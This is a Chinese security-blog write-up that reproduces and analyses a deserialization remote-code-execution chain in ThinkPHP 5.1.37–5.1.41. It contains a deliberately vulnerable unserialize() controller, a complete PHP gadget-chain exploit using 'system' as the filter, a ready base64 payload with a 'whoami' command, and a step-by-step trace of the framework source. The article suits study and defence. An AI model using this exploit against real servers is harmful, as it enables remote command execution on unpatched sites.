freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

Thinkphp5.1.37-5.1.41(最新版本) 反序列化漏洞复现与分析
Xz 2021-02-22 10:16:02 1545239

0x01 简介

记录自己学习与理解thinkphp的反序列漏洞的过程

0x02 影响版本

5.1.37-5.1.41(最新版本)

0x03 环境搭建

1、composer create-project topthink/think=5.1.37 v5.1.37(5.1.37-5.1.41都可)

2、github:

https://github.com/top-think/think/releases

https://github.com/top-think/framework/releases

0x04 漏洞复现

先添加一个反序列化的入口

在application\index\controller\index.php中将input参数反序列化

<?php
namespace app\index\controller;

class Index
{
public function index($input='')
{
unserialize(base64_decode($input));
return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V5.1<br/><span style="font-size:30px">12载初心不改(2006-2018) - 你值得信赖的PHP框架</span></p></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="eab4b9f840753f8e7"></think>';
}

public function hello($name = 'ThinkPHP5')
{
return 'hello,' . $name;
}
}

EXP:

<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["ethan"=>["dir","calc"]];
$this->data = ["ethan"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
// 表单请求类型伪装变量
'var_method'       => '_method',
// 表单ajax伪装变量
'var_ajax'         => '_ajax',
// 表单pjax伪装变量
'var_pjax'         => '_pjax',
// PATHINFO变量名 用于兼容模式
'var_pathinfo'     => 's',
// 兼容PATH_INFO获取
'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// 默认全局过滤方法 用逗号分隔多个
'default_filter'   => '',
// 域名根,如thinkphp.cn
'url_domain_root'  => '',
// HTTPS代理标识
'https_agent_name' => '',
// IP代理获取标识
'http_agent_ip'    => 'HTTP_X_REAL_IP',
// URL伪静态后缀
'url_html_suffix'  => 'html',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>''];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
namespace think\process\pipes;

use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];

public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;

use think\Model;

class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
/*input=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czo1OiJldGhhbiI7YToyOntpOjA7czozOiJkaXIiO2k6MTtzOjQ6ImNhbGMiO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czo1OiJldGhhbiI7TzoxMzoidGhpbmtcUmVxdWVzdCI6Mzp7czo3OiIAKgBob29rIjthOjE6e3M6NzoidmlzaWJsZSI7YToyOntpOjA7cjo5O2k6MTtzOjY6ImlzQWpheCI7fX1zOjk6IgAqAGZpbHRlciI7czo2OiJzeXN0ZW0iO3M6OToiACoAY29uZmlnIjthOjE6e3M6ODoidmFyX2FqYXgiO3M6MDoiIjt9fX19fX0=&id=whoami*/
?>

5.1.37版本复现:

5.1.37

5.1.41版本复现

5.1.41

0x04 PHP序列化的相关知识

首先了解下魔法函数,方便后面利用链的理解

__construct():当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。

__destruct():当对象被销毁时会自动调用。

__call():是在对象上下文中调用不可访问的方法时触发

__callStatic():是在静态上下文中调用不可访问的方法时触发。

__get():用于从不可访问的属性读取数据。

__set():用于将数据写入不可访问的属性。

__isset():在不可访问的属性上调用isset()或empty()触发。

__unset():在不可访问的属性上使用unset()时触发。

__sleep():在执行序列化函数serialize()时执行。

__wakeup():在执行反序列化函数unserialize()时执行。

__toString():当一个对象被当做字符串使用。

invoke():脚本尝试将对象调用为函数时,调用invoke()方法。

反序列化的常见起点

__wakeup:一定会调用

__destruct:一定会调用

__toString:当一个对象被反序列化后又被当做字符串使用

反序列化的常见中间跳板

__toString:当一个对象被当做字符串使用

__get:读取不可访问或不存在属性时被调用

__set:当给不可访问或不存在属性赋值时被调用

__isset:对不可访问或不存在的属性调用isset()或empty()时被调用

形如 $this->$func();

反序列化的常见终点:

__call:调用不可访问或不存在的方法时被调用

call_user_func:一般php代码执行都会选择这里

call_user_func_array:一般php代码执行都会选择这里

0x05 漏洞分析

从EXP入手去分析整个利用过程,在执行EXP时动态调试观察调用了哪些魔法函数

pop链

可以看到依次执行了destruct()→tostring()→call()→RCE

从起点开始一步一步跟进

1、在\thinkphp\library\think\process\pipes\windows.php中的__destruct调用了removeFiles方法img

主要代码:

public function __destruct()

{
$this->close();
$this->removeFiles();
}
private function removeFiles()

{
foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = [];
}

这里$filename会被当做字符串处理,而下一步的toString方法在一个对象被反序列化后又被当做字符串使用时会被触发,继续跟进toString方法

2、在\thinkphp\library\think\model\concern\Conversion.php中__toString中的函数执行过程为toJson→toArray

主要代码:

//thinkphp\library\think\model\concern\Conversion.php
public function __toString()
{
return $this->toJson();
}
public function toJson($options = JSON_UNESCAPED_UNICODE)
{
return json_encode($this->toArray(), $options);
}

visible

紧接着下一步调用了visible与call方法,猜测visible是一个不存在的方法,并自动调用了call;继续看toArray方法的逻辑部分

主要代码:

//thinkphp\library\think\model\concern\Conversion.php
public function toArray()
{
$item    = [];
$hasVisible = false;
...
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getRelation($key);
if (!$relation) {
$relation = $this->getAttr($key);
if ($relation) {
$relation->visible($name);
}
}
}

这里的$this->append是我们可控的,这意味着$relation也可控,在toArray函数中调用一个getRelation()方法和一个getAttr()方法,在下面判断了变量$relation,若!$relation,继续调用getAttr()方法, 跟进getRelation方法

主要代码:

//thinkphp\library\think\model\concern\RelationShip.php
public function getRelation($name = null)
{
if (is_null($name)) {
return $this->relation;
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
return;
}

可以看到getRelation()执行结果返回为空,进而执行了getAttr(),继续跟进getAttr()

//thinkphp\library\think\model\concern\Attribute.php
public function getAttr($name, &$item = null)
{
try {
$notFound = false;
$value  = $this->getData($name);
} catch (InvalidArgumentException $e) {
$notFound = true;
$value  = null;
}
return $value;
}
public function getData($name = null)
{
if (is_null($name)) {
return $this->data;
} elseif (array_key_exists($name, $this->data)) {
return $this->data[$name];
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}

这里的getAttr()调用了getData()方法,所以toArray方法中的$relation的值为$this->data[$name],也就是说$relation可控;然后控制$relation为一个类对象,调用不存在的visible方法后,会自动调用call方法,这个类中没有visible方法,但存在call,跟进__call

3、/thinkphp/library/think/Request.php中的__call方法的主要代码:

public function __call($method, $args)
{
if (array_key_exists($method, $this->hook)) {
array_unshift($args, $this);
return call_user_func_array($this->hook[$method], $args);
}
throw new Exception('method not exists:' . static::class . '->' . $method);
}

可以看到存在了回调函数call_user_func_array,并且this->hook[$method]我们可以控制,但是这里有个 array_unshift($args, $this);会把$this放到$arg数组的第一个元素,这样构造不出来参数可用的payload,因为第一个参数是$this对象。

filterValue

在利用链中发现,最终RCE是利用了Requests类的过滤器filter(多数RCE都是出自此处),调试器中依次调用了isAjax(),param(),input(),跟进这些方法,观察是如何执行的

4、在\thinkphp/library/think/Request.php的查看各个方法的主要代码

public function isAjax($ajax = false)
  {
    $value = $this->server('HTTP_X_REQUESTED_WITH');
    $result = 'xmlhttprequest' == strtolower($value) ? true : false;
    if (true === $ajax) {
      return $result;
    }
    $result      = $this->param($this->config['var_ajax']) ? true : $result;
    $this->mergeParam = false;
    return $result;
  }

在isAjax函数中,我们可以控制$this->config['var_ajax'],这里调用了param方法,继续跟进

public function param($name = '', $default = null, $filter = '')
  {
     if (!$this->mergeParam) {
      $method = $this->method(true);
      .....
      $this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
      $this->mergeParam = true;
    }
    if (true === $name) {
      // 获取包含文件上传信息的数组
      $file = $this->file();
      $data = is_array($file) ? array_merge($this->param, $file) : $this->param;
      return $this->input($data, '', $default, $filter);
    }
    return $this->input($this->param, $name, $default, $filter);

}

这里在最后调用了input()函数,由于之前的isAjax()中$this->config['var_ajax']可控,所以这里param($name)可控,跟进input()

public function input($data = [], $name = '', $default = null, $filter = '')
  {
    if (false === $name) {
      // 获取原始数据
      return $data;
    }
    ....
    // 解析过滤器
   $filter = $this->getFilter($filter, $default);
    if (is_array($data)) {
      array_walk_recursive($data, [$this, 'filterValue'], $filter);
     .....
    } else {
      $this->filterValue($data, $name, $filter);
    }

input()使用回调函数调用了filterValue(),由于param中的$name可控,所以input()中的$name可控,然后input()中又调用了filterValue(),这样的话filterValue()中的$name也就是可控的,跟进filterValue()

主要代码:

private function filterValue(&$value, $key, $filters)
{
  $default = array_pop($filters);
  foreach ($filters as $filter) {
    if (is_callable($filter)) {
      // 调用函数或者方法过滤
      $value = call_user_func($filter, $value);

该方法调用了call_user_func函数,从input()中得知,filterValue()的value值可控

继续查看input()的主要代码部分:

public function input($data = [], $name = '', $default = null, $filter = '')
  {
    if (false === $name) {
      // 获取原始数据
      return $data;
    }
    ....
     $data = $this->getData($data, $name);
    ....
    // 解析过滤器
    $filter = $this->getFilter($filter, $default);
    if (is_array($data)) {
      array_walk_recursive($data, [$this, 'filterValue'], $filter);
     .....
    } else {
      $this->filterValue($data, $name, $filter);
    }

这里$data=$this->getData($data, $name)

$filter = $this->getFilter($filter, $default)

两个关键的参数,跟进getData()代码:

protected function getData(array $data, $name)
  {
    foreach (explode('.', $name) as $val) {
      if (isset($data[$val])) {
        $data = $data[$val];
      } else {
        return;
      }
    }
    return $data;
}

$name由在最开始的isAjax()中的$this->config['var_ajax']来控制,最终返回$data=$data[$name]

getFilter()代码:

protected function getFilter($filter, $default)
  {
    if (is_null($filter)) {
      $filter = [];
    } else {
      $filter = $filter ?: $this->filter;
      if (is_string($filter) && false === strpos($filter, '/')) {
        $filter = explode(',', $filter);
      } else {
        $filter = (array) $filter;
      }
    }
    $filter[] = $default;
    return $filter;
}

这里$filter可控,$this->filter,在EXP直接赋值即可,这样所有可控条件都达成,成功RCE

总结一下:

利用链:链

从EXP的角度下看执行过程:

exp

0x06 修复方式

官方未修复

0x07 参考链接:

https://xz.aliyun.com/t/6619#toc-2

https://wiki.0-sec.org/#/wiki

# 漏洞分析 # ThinkPHP # 漏洞复现 # ThinkPHP5.1 # thinkphp反序列化
本文为 Xz 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
Xz LV.1
这家伙太懒了,还未填写个人描述!
  • 5 文章数
  • 18 关注者
加密对抗靶场enctypt——labs通关
2024-11-16
前端动态密钥与非对称加密场景下的测试
2023-10-17
CVE-2020-15148 Yii2反序列化RCE分析与复现
2021-01-09
文章目录